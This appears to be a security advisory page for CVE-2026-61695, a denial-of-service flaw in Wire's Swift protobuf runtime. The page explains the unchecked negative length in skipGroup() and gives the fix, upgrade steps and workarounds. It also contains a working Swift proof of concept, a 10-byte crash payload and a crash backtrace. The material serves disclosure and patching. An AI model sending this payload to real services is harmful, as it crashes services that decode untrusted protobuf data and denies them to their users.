CVE-2026-61695: Wire Swift runtime Negative LENGTH_DELIMITED Length Vulnerability

HIGH
Advisory Identifier: GHSA-86wm-r4c5-2rc9
CVSS 7.5
CWE-129
Published
Advisory Summary

CVE-2026-61695 is a HIGH (CVSS 7.5) negative length_delimited length vulnerability (CWE-129: Improper Validation of Array Index) affecting Wire Swift runtime libraries in the SwiftURL ecosystem. The issue involves negative length_delimited length in skipgroup() crashes any protobuf-decoding service. Remediation is available by upgrading affected packages to version 6.4.1.

CVE-2026-61695 at a Glance

CVE Identifier CVE-2026-61695
GHSA Identifier GHSA-86wm-r4c5-2rc9
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-129: Improper Validation of Array Index
Affected Product Wire Swift runtime
Package Ecosystem SwiftURL
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-61695

To remediate this vulnerability, upgrade all affected Wire Swift runtime dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/square/wire fixed: 6.4.1
Upgrade github.com/square/wire to 6.4.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/square/wire

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-61695, inspect your project dependencies for Wire Swift runtime:

inspect dependencies for github.com/square/wire

Analyze the terminal output to locate any version of Wire Swift runtime in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.4.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-129: Improper Validation of Array Index, where the product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array. In Wire Swift runtime, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Wire's Swift runtime (`Wire` SPM/CocoaPods product, implemented by `wire-runtime-swift`) did not reject a negative `LENGTH_DELIMITED` field length while skipping an unknown protobuf group. A crafted 10-byte protobuf payload could cause `ProtoReader.skipGroup()` to read a length-delimited field whose varint decodes to a negative `Int32`. That negative value was then passed to `ReadBuffer.readData(count:)`. `ReadBuffer` checked only that the requested read did not go past the end of the buffer. It did not reject negative counts. As a result, a negative count could pass the bounds check and reach Foundation's `Data(bytes:count:)`, which traps and aborts the process (`Signal 5` / SIGTRAP) instead of throwing Wire's documented `ProtoDecoder.Error`. This is the Swift sibling of the Kotlin/JVM negative-length-in-`skipGroup()` issue fixed in `com.squareup.wire:wire-runtime` 6.3.0 (`CVE-2026-45799`, `GHSA-7xpr-hc2w-34m9`). That earlier fix added a `length < 0` rejection to the Kotlin readers. The functionally similar Swift `ProtoReader.skipGroup()` path was not covered by that fix and remained vulnerable in released Swift runtime versions through `6.4.0`, and in Wire 7 alpha releases through `7.0.0-alpha03`. The issue is fixed for the supported 6.x release line in Wire `6.4.1`. `skipGroup()` runs for any unknown field with wire type 3 (`START_GROUP`), so no schema knowledge is required. A service decoding any message type with `ProtoDecoder.decode(_:from:)` over untrusted bytes can be reached by sending an unknown group field. ### Impact Denial of service. A single 10-byte attacker-controlled protobuf payload can abort the process with an unrecoverable runtime trap. Callers following Wire's documented Swift API generally expect `ProtoDecoder.decode(_:from:)` to throw catchable decoding errors such as `ProtoDecoder.Error`. They cannot catch a SIGTRAP from Foundation's `Data(bytes:count:)`. Any Swift process that decodes untrusted protobuf data with Wire's Swift runtime may be affected. Examples include iOS, macOS, or server-side Swift applications that accept protobuf request bodies, websocket frames, stored messages, queue payloads, files, or any other attacker-controlled serialized protobuf bytes. The vulnerability requires: - The application decodes untrusted protobuf bytes with Wire's Swift runtime. - The attacker can provide a protobuf payload containing an unknown `START_GROUP` field. - That group contains a `LENGTH_DELIMITED` field whose encoded length decodes to a negative signed 32-bit value. The attacker does not need: - Authentication. - User interaction. - Knowledge of the target message schema. - A valid known field number in the target schema. ### Affected Products #### Swift Package Manager / CocoaPods `Wire` Affected versions: - All released Swift runtime versions through `6.4.0`. - Wire 7 alpha releases through `7.0.0-alpha03`. Patched versions: - `6.4.1` for the supported 6.x release line. - `7.0.0-alpha04` for the 7.x alpha line (the first 7.x release containing PR #3616). Recommended action: - Upgrade to Wire `6.4.1` or later on the supported stable line. - If using a Wire 7 alpha release, upgrade to `7.0.0-alpha04` or a later 7.x release containing PR #3616. ### Vulnerable Code The vulnerable code was in `wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift`, `skipGroup(expectedEndTag:unknownFieldsWriter:)`: ```swift case .lengthDelimited: let length = try Int32(truncatingIfNeeded: buffer.readVarint()) // can be negative, e.g. -128 state = .lengthDelimited(length: Int(length)) let data = try readData() // no length >= 0 check try unknownFieldsWriter.encode(tag: tag, value: data) ``` `ProtoReader.readData()` then forwarded the stored negative length to the buffer: ```swift func readData() throws -> Data { guard case let .lengthDelimited(length) = state else { fatalError("Decoding field as length delimited when key was not LENGTH_DELIMITED") } state = .tag return try buffer.readData(count: length) // count = -128 } ``` The bounds check in `wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift` checked only the upper bound. A negative count could pass this guard and then be handed to Foundation: ```swift func verifyAdditional(count: Int) throws { guard pointer.advanced(by: count) <= end else { // pointer + (-128) <= end is true throw ProtoDecoder.Error.unexpectedEndOfData } } func readData(count: Int) throws -> Data { try verifyAdditional(count: count) // negative count passes the guard let data = Data(bytes: pointer, count: count) // Data(bytes:count:) with count = -128 traps pointer = pointer.advanced(by: count) return data } ``` The normal typed length-delimited decode path is comparatively shielded by other state transitions. The schema-agnostic unknown-group skip path was the important path because it threaded an unvalidated signed length into `ReadBuffer.readData(count:)`. ### How Input Reaches the Sink The reachable decoding path is: ```text ProtoDecoder.decode(_:from:) -> message init(from: ProtoReader) -> ProtoReader.nextTag(token:) -> ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) -> ProtoReader.readData() -> ReadBuffer.readData(count:) -> Data(bytes:count:) ``` When `ProtoReader.nextTag(token:)` sees an unknown field with wire type `START_GROUP`, it calls the private `skipGroup(...)` helper. Inside that skipped group, an inner `LENGTH_DELIMITED` field with a negative varint length reaches `readData()`, then `ReadBuffer.readData(count:)`, then `Data(bytes:count:)`. The outer field number is arbitrary. The proof of concept uses field 99, but the field does not need to exist in the target schema because unknown-field skipping is schema-agnostic. ### Proof Of Concept The following proof of concept demonstrates the vulnerable behavior. It uses an empty `ProtoDecodable` message that treats every field as unknown, so an unknown `START_GROUP` field drives `ProtoReader.nextTag(token:)` into the private `skipGroup()` implementation. `Package.swift`: ```swift // swift-tools-version:5.9 import PackageDescription let package = Package( name: "poc", platforms: [.macOS(.v12)], dependencies: [ .package(url: "https://github.com/square/wire.git", exact: "6.4.0") ], targets: [ .executableTarget( name: "poc", dependencies: [.product(name: "Wire", package: "wire")], path: "Sources/poc" ) ] ) ``` `Sources/poc/main.swift`: ```swift import Foundation import Wire func log(_ s: String) { FileHandle.standardError.write((s + "\n").data(using: .utf8)!) } // A ProtoDecodable message that treats every field as unknown. An unknown // START_GROUP field drives ProtoReader.nextTag() into the private skipGroup(). struct EmptyMessage: ProtoDecodable { static var protoSyntax: ProtoSyntax? { .proto2 } init() {} init(from reader: ProtoReader) throws { let token = try reader.beginMessage() while let _ = try reader.nextTag(token: token) {} let _: UnknownFields = try reader.endMessage(token: token) } } // hex 9b06 0a 80ffffff0f 9c06 // 0x9B 0x06 field 99, wire type 3 (START_GROUP) // 0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group // 0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint decoding to signed Int32 = -128 // 0x9C 0x06 field 99, END_GROUP let attackerPayload = Data([0x9B, 0x06, 0x0A, 0x80, 0xFF, 0xFF, 0xFF, 0x0F, 0x9C, 0x06]) // Negative control: same group, inner length-delimited field has valid length 0. let benignPayload = Data([0x9B, 0x06, 0x0A, 0x00, 0x9C, 0x06]) let decoder = ProtoDecoder() log("=== NEGATIVE CONTROL (valid length 0) ===") do { _ = try decoder.decode(EmptyMessage.self, from: benignPayload) log("negative-control: decoded OK, no crash (expected)") } catch { log("negative-control: threw \(type(of: error)): \(error)") } log("=== ATTACK (negative length -128 inside skipped group) ===") do { _ = try decoder.decode(EmptyMessage.self, from: attackerPayload) log("attack: decoded OK (not vulnerable / patched)") } catch let e as ProtoDecoder.Error { log("attack: threw documented ProtoDecoder.Error: \(e) (not vulnerable / patched)") } catch { log("attack: threw unexpected \(type(of: error)): \(error)") } log("=== reached end of main (no crash) ===") ``` Build and run: ```bash swift build SWIFT_BACKTRACE=enable=yes ./.build/debug/poc ``` Expected behavior on vulnerable versions through `6.4.0`: ```text === NEGATIVE CONTROL (valid length 0) === negative-control: decoded OK, no crash (expected) === ATTACK (negative length -128 inside skipped group) === *** Signal 5: Backtracing from 0x191b9d68c... done *** *** Program crashed: System trap at 0x0000000191b9d68c *** Thread 0 crashed: 0 specialized Data.InlineData.init(_:) in Foundation 1 [ra] specialized Data.init(bytes:count:) in Foundation 2 [ra] ReadBuffer.readData(count:) at ReadBuffer.swift 3 [ra] ProtoReader.readData() at ProtoReader.swift 4 [ra] ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) at ProtoReader.swift 5 [ra] closure #1 in ProtoReader.nextTag(token:) at ProtoReader.swift 6 [ra] ProtoReader.nextTag(token:) at ProtoReader.swift 7 [ra] [thunk] EmptyMessage.init(from:) at main.swift 8 [ra] ProtoReader.decode<A>(_:) at ProtoReader.swift 9 [ra] ProtoDecoder.decode<A>(_:from:) at ProtoDecoder.swift 10 [ra] main at main.swift ``` The negative control, which uses the same skipped group structure but with a valid length of 0, decodes successfully. That demonstrates the crash is caused by the negative length, not by group-skipping itself. The attack payload crashes with SIGTRAP inside `Data.init(bytes:count:)`, reached from the unguarded `skipGroup()` -> `readData()` -> `ReadBuffer.readData(count:)` path. This runtime trap escapes Wire's documented `ProtoDecoder.Error` boundary. Payload: ```text 9b060a80ffffff0f9c06 ``` Payload breakdown: ```text 0x9B 0x06 field 99, wire type 3 (START_GROUP) 0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group 0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint = -128 as signed Int32 0x9C 0x06 field 99, END_GROUP ``` ### Fix The fix rejects negative lengths before setting the length-delimited reader state and before calling `readData()`. Fixed logic in `wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift`: ```swift case .lengthDelimited: let length = try Int32(truncatingIfNeeded: buffer.readVarint()) guard length >= 0 else { throw ProtoDecoder.Error.unexpectedEndOfData } state = .lengthDelimited(length: Int(length)) let data = try readData() try unknownFieldsWriter.encode(tag: tag, value: data) ``` The fix also adds defense in depth in `wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift` by rejecting negative read counts before pointer arithmetic and before constructing `Data(bytes:count:)`. The fix was merged in PR #3616: https://github.com/square/wire/pull/3616 Fix commit: https://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e ### Patched Behavior With the fix, the same payload is rejected with a catchable `ProtoDecoder.Error` instead of aborting the process. Applications can handle the malformed payload using normal Swift error handling around `ProtoDecoder.decode(_:from:)`. ### Workarounds There is no complete application-level workaround if untrusted protobuf bytes must be decoded with a vulnerable Wire Swift runtime version. Services can reduce exposure by avoiding protobuf decoding on untrusted inputs, validating or filtering payloads before decoding, or rejecting protobuf group wire types at an outer protocol boundary where that is feasible. These mitigations are not substitutes for upgrading because the vulnerable path is schema-agnostic unknown-field skipping inside the runtime decoder. ### Recommended Upgrade Upgrade to Wire `6.4.1` or later. Swift Package Manager users should update their dependency to a patched tag: ```swift .package(url: "https://github.com/square/wire.git", from: "6.4.1") ``` CocoaPods users should update the `Wire` pod to `6.4.1` or later. Wire 7 alpha users should upgrade to `7.0.0-alpha04` or a later 7.x release that contains PR #3616. ### Relationship To GHSA-7xpr-hc2w-34m9 / CVE-2026-45799 This advisory covers the Swift runtime sibling of `GHSA-7xpr-hc2w-34m9` / `CVE-2026-45799`. `GHSA-7xpr-hc2w-34m9` fixed the Kotlin/JVM readers in Wire `6.3.0`, but the Swift runtime had a similar group-skipping path that still accepted negative lengths. This advisory is tracked separately because it affects the Swift runtime package and was fixed by a separate Swift runtime PR. ### Credits Reported by `tonghuaroot`.

CVE-2026-61695 Affected Wire Swift runtime Versions

1 component(s)
Fixed Versions:
6.4.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/square/wire
SwiftURL
< 6.4.1
6.4.1

References

Frequently Asked Questions

What is CVE-2026-61695?
CVE-2026-61695 is a security vulnerability in Wire Swift runtime involving negative LENGTH_DELIMITED length in skipGroup() crashes any protobuf-decoding service under CWE-129: Improper Validation of Array Index.
Which Wire Swift runtime versions are affected?
Affected versions include releases prior to 6.4.1 across affected packages: github.com/square/wire.
What version fixes CVE-2026-61695?
Upgrading to 6.4.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/square/wire affected?
Yes, github.com/square/wire is affected in releases prior to 6.4.1. Upgrade your dependency to 6.4.1 or later.
What is the CVSS score of CVE-2026-61695?
CVE-2026-61695 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-61695?
CVE-2026-61695 is classified under CWE-129: Improper Validation of Array Index (The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.).
How can I check SwiftURL dependencies for CVE-2026-61695?
Run the dependency tree command: 'inspect dependencies for github.com/square/wire'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-86wm-r4c5-2rc9",
  "modified" : "2026-09-23T18:45:52Z",
  "published" : "2026-09-23T18:45:52Z",
  "aliases" : [ "CVE-2026-61695" ],
  "summary" : "Wire Swift runtime: negative LENGTH_DELIMITED length in skipGroup() crashes any protobuf-decoding service",
  "details" : "### Summary\n\nWire's Swift runtime (`Wire` SPM/CocoaPods product, implemented by\n`wire-runtime-swift`) did not reject a negative `LENGTH_DELIMITED` field length\nwhile skipping an unknown protobuf group. A crafted 10-byte protobuf payload\ncould cause `ProtoReader.skipGroup()` to read a length-delimited field whose\nvarint decodes to a negative `Int32`. That negative value was then passed to\n`ReadBuffer.readData(count:)`.\n\n`ReadBuffer` checked only that the requested read did not go past the end of\nthe buffer. It did not reject negative counts. As a result, a negative count\ncould pass the bounds check and reach Foundation's `Data(bytes:count:)`, which\ntraps and aborts the process (`Signal 5` / SIGTRAP) instead of throwing Wire's\ndocumented `ProtoDecoder.Error`.\n\nThis is the Swift sibling of the Kotlin/JVM negative-length-in-`skipGroup()`\nissue fixed in `com.squareup.wire:wire-runtime` 6.3.0\n(`CVE-2026-45799`, `GHSA-7xpr-hc2w-34m9`). That earlier fix added a\n`length < 0` rejection to the Kotlin readers. The functionally similar Swift\n`ProtoReader.skipGroup()` path was not covered by that fix and remained\nvulnerable in released Swift runtime versions through `6.4.0`, and in Wire 7\nalpha releases through `7.0.0-alpha03`.\n\nThe issue is fixed for the supported 6.x release line in Wire `6.4.1`.\n\n`skipGroup()` runs for any unknown field with wire type 3 (`START_GROUP`), so\nno schema knowledge is required. A service decoding any message type with\n`ProtoDecoder.decode(_:from:)` over untrusted bytes can be reached by sending an\nunknown group field.\n\n### Impact\n\nDenial of service.\n\nA single 10-byte attacker-controlled protobuf payload can abort the process\nwith an unrecoverable runtime trap. Callers following Wire's documented Swift\nAPI generally expect `ProtoDecoder.decode(_:from:)` to throw catchable decoding\nerrors such as `ProtoDecoder.Error`. They cannot catch a SIGTRAP from\nFoundation's `Data(bytes:count:)`.\n\nAny Swift process that decodes untrusted protobuf data with Wire's Swift\nruntime may be affected. Examples include iOS, macOS, or server-side Swift\napplications that accept protobuf request bodies, websocket frames, stored\nmessages, queue payloads, files, or any other attacker-controlled serialized\nprotobuf bytes.\n\nThe vulnerability requires:\n\n- The application decodes untrusted protobuf bytes with Wire's Swift runtime.\n- The attacker can provide a protobuf payload containing an unknown\n  `START_GROUP` field.\n- That group contains a `LENGTH_DELIMITED` field whose encoded length decodes\n  to a negative signed 32-bit value.\n\nThe attacker does not need:\n\n- Authentication.\n- User interaction.\n- Knowledge of the target message schema.\n- A valid known field number in the target schema.\n\n### Affected Products\n\n#### Swift Package Manager / CocoaPods `Wire`\n\nAffected versions:\n\n- All released Swift runtime versions through `6.4.0`.\n- Wire 7 alpha releases through `7.0.0-alpha03`.\n\nPatched versions:\n\n- `6.4.1` for the supported 6.x release line.\n- `7.0.0-alpha04` for the 7.x alpha line (the first 7.x release containing\n  PR #3616).\n\nRecommended action:\n\n- Upgrade to Wire `6.4.1` or later on the supported stable line.\n- If using a Wire 7 alpha release, upgrade to `7.0.0-alpha04` or a later 7.x\n  release containing PR #3616.\n\n### Vulnerable Code\n\nThe vulnerable code was in\n`wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift`,\n`skipGroup(expectedEndTag:unknownFieldsWriter:)`:\n\n```swift\ncase .lengthDelimited:\n    let length = try Int32(truncatingIfNeeded: buffer.readVarint()) // can be negative, e.g. -128\n    state = .lengthDelimited(length: Int(length))\n    let data = try readData()                                       // no length >= 0 check\n    try unknownFieldsWriter.encode(tag: tag, value: data)\n```\n\n`ProtoReader.readData()` then forwarded the stored negative length to the\nbuffer:\n\n```swift\nfunc readData() throws -> Data {\n    guard case let .lengthDelimited(length) = state else {\n        fatalError(\"Decoding field as length delimited when key was not LENGTH_DELIMITED\")\n    }\n    state = .tag\n    return try buffer.readData(count: length)   // count = -128\n}\n```\n\nThe bounds check in\n`wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift` checked only\nthe upper bound. A negative count could pass this guard and then be handed to\nFoundation:\n\n```swift\nfunc verifyAdditional(count: Int) throws {\n    guard pointer.advanced(by: count) <= end else {   // pointer + (-128) <= end is true\n        throw ProtoDecoder.Error.unexpectedEndOfData\n    }\n}\n\nfunc readData(count: Int) throws -> Data {\n    try verifyAdditional(count: count)                 // negative count passes the guard\n    let data = Data(bytes: pointer, count: count)      // Data(bytes:count:) with count = -128 traps\n    pointer = pointer.advanced(by: count)\n    return data\n}\n```\n\nThe normal typed length-delimited decode path is comparatively shielded by\nother state transitions. The schema-agnostic unknown-group skip path was the\nimportant path because it threaded an unvalidated signed length into\n`ReadBuffer.readData(count:)`.\n\n### How Input Reaches the Sink\n\nThe reachable decoding path is:\n\n```text\nProtoDecoder.decode(_:from:)\n  -> message init(from: ProtoReader)\n  -> ProtoReader.nextTag(token:)\n  -> ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:)\n  -> ProtoReader.readData()\n  -> ReadBuffer.readData(count:)\n  -> Data(bytes:count:)\n```\n\nWhen `ProtoReader.nextTag(token:)` sees an unknown field with wire type\n`START_GROUP`, it calls the private `skipGroup(...)` helper. Inside that\nskipped group, an inner `LENGTH_DELIMITED` field with a negative varint length\nreaches `readData()`, then `ReadBuffer.readData(count:)`, then\n`Data(bytes:count:)`.\n\nThe outer field number is arbitrary. The proof of concept uses field 99, but\nthe field does not need to exist in the target schema because unknown-field\nskipping is schema-agnostic.\n\n### Proof Of Concept\n\nThe following proof of concept demonstrates the vulnerable behavior. It uses an\nempty `ProtoDecodable` message that treats every field as unknown, so an\nunknown `START_GROUP` field drives `ProtoReader.nextTag(token:)` into the\nprivate `skipGroup()` implementation.\n\n`Package.swift`:\n\n```swift\n// swift-tools-version:5.9\nimport PackageDescription\n\nlet package = Package(\n    name: \"poc\",\n    platforms: [.macOS(.v12)],\n    dependencies: [\n        .package(url: \"https://github.com/square/wire.git\", exact: \"6.4.0\")\n    ],\n    targets: [\n        .executableTarget(\n            name: \"poc\",\n            dependencies: [.product(name: \"Wire\", package: \"wire\")],\n            path: \"Sources/poc\"\n        )\n    ]\n)\n```\n\n`Sources/poc/main.swift`:\n\n```swift\nimport Foundation\nimport Wire\n\nfunc log(_ s: String) {\n    FileHandle.standardError.write((s + \"\\n\").data(using: .utf8)!)\n}\n\n// A ProtoDecodable message that treats every field as unknown. An unknown\n// START_GROUP field drives ProtoReader.nextTag() into the private skipGroup().\nstruct EmptyMessage: ProtoDecodable {\n    static var protoSyntax: ProtoSyntax? { .proto2 }\n    init() {}\n    init(from reader: ProtoReader) throws {\n        let token = try reader.beginMessage()\n        while let _ = try reader.nextTag(token: token) {}\n        let _: UnknownFields = try reader.endMessage(token: token)\n    }\n}\n\n// hex 9b06 0a 80ffffff0f 9c06\n//   0x9B 0x06                 field 99, wire type 3 (START_GROUP)\n//   0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group\n//   0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint decoding to signed Int32 = -128\n//   0x9C 0x06                 field 99, END_GROUP\nlet attackerPayload = Data([0x9B, 0x06, 0x0A, 0x80, 0xFF, 0xFF, 0xFF, 0x0F, 0x9C, 0x06])\n\n// Negative control: same group, inner length-delimited field has valid length 0.\nlet benignPayload = Data([0x9B, 0x06, 0x0A, 0x00, 0x9C, 0x06])\n\nlet decoder = ProtoDecoder()\n\nlog(\"=== NEGATIVE CONTROL (valid length 0) ===\")\ndo {\n    _ = try decoder.decode(EmptyMessage.self, from: benignPayload)\n    log(\"negative-control: decoded OK, no crash (expected)\")\n} catch {\n    log(\"negative-control: threw \\(type(of: error)): \\(error)\")\n}\n\nlog(\"=== ATTACK (negative length -128 inside skipped group) ===\")\ndo {\n    _ = try decoder.decode(EmptyMessage.self, from: attackerPayload)\n    log(\"attack: decoded OK (not vulnerable / patched)\")\n} catch let e as ProtoDecoder.Error {\n    log(\"attack: threw documented ProtoDecoder.Error: \\(e) (not vulnerable / patched)\")\n} catch {\n    log(\"attack: threw unexpected \\(type(of: error)): \\(error)\")\n}\nlog(\"=== reached end of main (no crash) ===\")\n```\n\nBuild and run:\n\n```bash\nswift build\nSWIFT_BACKTRACE=enable=yes ./.build/debug/poc\n```\n\nExpected behavior on vulnerable versions through `6.4.0`:\n\n```text\n=== NEGATIVE CONTROL (valid length 0) ===\nnegative-control: decoded OK, no crash (expected)\n=== ATTACK (negative length -128 inside skipped group) ===\n\n*** Signal 5: Backtracing from 0x191b9d68c... done ***\n\n*** Program crashed: System trap at 0x0000000191b9d68c ***\n\nThread 0 crashed:\n\n  0               specialized Data.InlineData.init(_:) in Foundation\n  1 [ra]          specialized Data.init(bytes:count:) in Foundation\n  2 [ra]          ReadBuffer.readData(count:) at ReadBuffer.swift\n  3 [ra]          ProtoReader.readData() at ProtoReader.swift\n  4 [ra]          ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) at ProtoReader.swift\n  5 [ra]          closure #1 in ProtoReader.nextTag(token:) at ProtoReader.swift\n  6 [ra]          ProtoReader.nextTag(token:) at ProtoReader.swift\n  7 [ra] [thunk]  EmptyMessage.init(from:) at main.swift\n  8 [ra]          ProtoReader.decode<A>(_:) at ProtoReader.swift\n  9 [ra]          ProtoDecoder.decode<A>(_:from:) at ProtoDecoder.swift\n 10 [ra]          main at main.swift\n```\n\nThe negative control, which uses the same skipped group structure but with a\nvalid length of 0, decodes successfully. That demonstrates the crash is caused\nby the negative length, not by group-skipping itself.\n\nThe attack payload crashes with SIGTRAP inside `Data.init(bytes:count:)`,\nreached from the unguarded `skipGroup()` -> `readData()` ->\n`ReadBuffer.readData(count:)` path. This runtime trap escapes Wire's documented\n`ProtoDecoder.Error` boundary.\n\nPayload:\n\n```text\n9b060a80ffffff0f9c06\n```\n\nPayload breakdown:\n\n```text\n0x9B 0x06                 field 99, wire type 3 (START_GROUP)\n0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group\n0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint = -128 as signed Int32\n0x9C 0x06                 field 99, END_GROUP\n```\n\n### Fix\n\nThe fix rejects negative lengths before setting the length-delimited reader\nstate and before calling `readData()`.\n\nFixed logic in\n`wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift`:\n\n```swift\ncase .lengthDelimited:\n    let length = try Int32(truncatingIfNeeded: buffer.readVarint())\n    guard length >= 0 else {\n        throw ProtoDecoder.Error.unexpectedEndOfData\n    }\n    state = .lengthDelimited(length: Int(length))\n    let data = try readData()\n    try unknownFieldsWriter.encode(tag: tag, value: data)\n```\n\nThe fix also adds defense in depth in\n`wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift` by rejecting\nnegative read counts before pointer arithmetic and before constructing\n`Data(bytes:count:)`.\n\nThe fix was merged in PR #3616:\n\nhttps://github.com/square/wire/pull/3616\n\nFix commit:\n\nhttps://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e\n\n### Patched Behavior\n\nWith the fix, the same payload is rejected with a catchable\n`ProtoDecoder.Error` instead of aborting the process. Applications can handle\nthe malformed payload using normal Swift error handling around\n`ProtoDecoder.decode(_:from:)`.\n\n### Workarounds\n\nThere is no complete application-level workaround if untrusted protobuf bytes\nmust be decoded with a vulnerable Wire Swift runtime version. Services can\nreduce exposure by avoiding protobuf decoding on untrusted inputs, validating\nor filtering payloads before decoding, or rejecting protobuf group wire types\nat an outer protocol boundary where that is feasible. These mitigations are\nnot substitutes for upgrading because the vulnerable path is schema-agnostic\nunknown-field skipping inside the runtime decoder.\n\n### Recommended Upgrade\n\nUpgrade to Wire `6.4.1` or later.\n\nSwift Package Manager users should update their dependency to a patched tag:\n\n```swift\n.package(url: \"https://github.com/square/wire.git\", from: \"6.4.1\")\n```\n\nCocoaPods users should update the `Wire` pod to `6.4.1` or later.\n\nWire 7 alpha users should upgrade to `7.0.0-alpha04` or a later 7.x release\nthat contains PR #3616.\n\n### Relationship To GHSA-7xpr-hc2w-34m9 / CVE-2026-45799\n\nThis advisory covers the Swift runtime sibling of\n`GHSA-7xpr-hc2w-34m9` / `CVE-2026-45799`.\n\n`GHSA-7xpr-hc2w-34m9` fixed the Kotlin/JVM readers in Wire `6.3.0`, but the\nSwift runtime had a similar group-skipping path that still accepted negative\nlengths. This advisory is tracked separately because it affects the Swift\nruntime package and was fixed by a separate Swift runtime PR.\n\n### Credits\n\nReported by `tonghuaroot`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "SwiftURL",
      "name" : "github.com/square/wire"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.4.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 6.4.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/square/wire/security/advisories/GHSA-86wm-r4c5-2rc9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/square/wire/pull/3616"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/square/wire/commit/24043b6b3a5e5974a978f2745b76d50b31407c1c"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/square/wire"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/square/wire/releases/tag/6.4.1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/square/wire/releases/tag/7.0.0-alpha04"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-129" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-23T18:45:52Z",
    "nvd_published_at" : null
  }
}